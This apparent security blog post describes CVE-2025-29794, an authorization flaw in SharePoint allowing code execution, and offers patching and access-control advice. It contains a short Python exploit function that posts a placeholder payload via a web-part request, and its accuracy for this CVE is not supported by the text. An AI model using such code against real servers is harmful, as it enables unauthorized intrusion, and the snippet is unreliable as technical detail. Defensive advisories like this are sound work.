CVE-2025-29794 - Unauthorized Code Execution in Microsoft Office SharePoint

The cybersecurity community has recently identified a vulnerability in Microsoft Office SharePoint, labeled as CVE-2025-29794. This vulnerability is related to improper authorization, which allows an authorized attacker to execute code over a network.

SharePoint is a crucial tool for organizations worldwide, providing an efficient platform for project management, document handling, and collaboration. As such, it is essential to fix this vulnerability to ensure the security of your organization's information.

In this blog post, we will walk you through the details of the vulnerability, offer recommendations for mitigation, and provide links to relevant resources.

What is CVE-2025-29794?

CVE-2025-29794 is a critical security flaw that exploits Microsoft Office SharePoint's improper authorization to allow an authorized attacker to remotely execute code. Due to this vulnerability, bad actors could gain complete control over affected systems, steal sensitive information, or disrupt essential services.

The root cause of this vulnerability is that SharePoint does not correctly validate user permissions while handling specific requests. It enables attackers with valid credentials to perform unauthorized actions on a user's behalf.

Below is a sample code snippet showcasing how this vulnerability is exploited

import requests

def exploit(url, creds, payload):
    auth_creds = (creds["username"], creds["password"])
    target_url = f"{url}/_layouts/15/page.aspx?action=AddWebPart"

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "http-client"
    }

    data = {
        "webPartXml": f"<webPart><content>{payload}</content></webPart>"
    }

    response = requests.post(target_url, auth=auth_creds, headers=headers, data=data)
    return response.status_code == 200

This code snippet defines a Python function exploit() that sends a specially crafted HTTP POST request to the target SharePoint server. It takes three parameters: the target URL, the attacker's credentials, and the payload to execute.

In this example, the webPartXml parameter within the POST request is crafted to include the payload, exploiting the improper authorization issue.

Exploit Details

The exploit leverages Microsoft Office SharePoint's weak authorization checks while handling web parts. When the attacker sends a well-crafted HTTP POST request, SharePoint fails to validate the user's permissions. As a result, the attacker can inject executable code within the server, causing a variety of issues like data theft, infrastructure disruption, or unauthorized system access.

Further details about CVE-2025-29794, including the technical specifications, can be found via the following original references:

- Microsoft Security Advisory
- CVE Information at MITRE
- National Vulnerability Database (NVD)

Mitigation and Recommendations

To address this vulnerability, it is essential to apply the appropriate patch, as provided by Microsoft, to secure your SharePoint environment. We recommend the following steps to mitigate the impact of CVE-2025-29794:

1. Update your SharePoint server to the latest version immediately. Microsoft has released security updates that address this vulnerability. You can find more information on these updates here.

2. Regularly review access controls and user privileges within your SharePoint environment. Ensure that only required employees have access rights and that these rights are restricted based on their job responsibilities.

3. Implement a rigorous patch management process. Regularly scan for vulnerabilities in your systems and install the latest security patches to ensure your organization's security posture.

4. Educate employees about phishing and social engineering attacks, ensuring they understand the importance of safe email practices and reporting suspicious activity.

Conclusion

CVE-2025-29794 is a serious vulnerability that could have severe consequences for organizations using Microsoft Office SharePoint. By understanding the risks, applying relevant patches, and implementing best security practices, you can help protect your organization and its data. Stay informed about the latest cybersecurity threats and news to proactively address vulnerabilities in your systems.

Timeline

Published on: 04/08/2025 18:16:05 UTC
Last modified on: 04/23/2025 15:53:42 UTC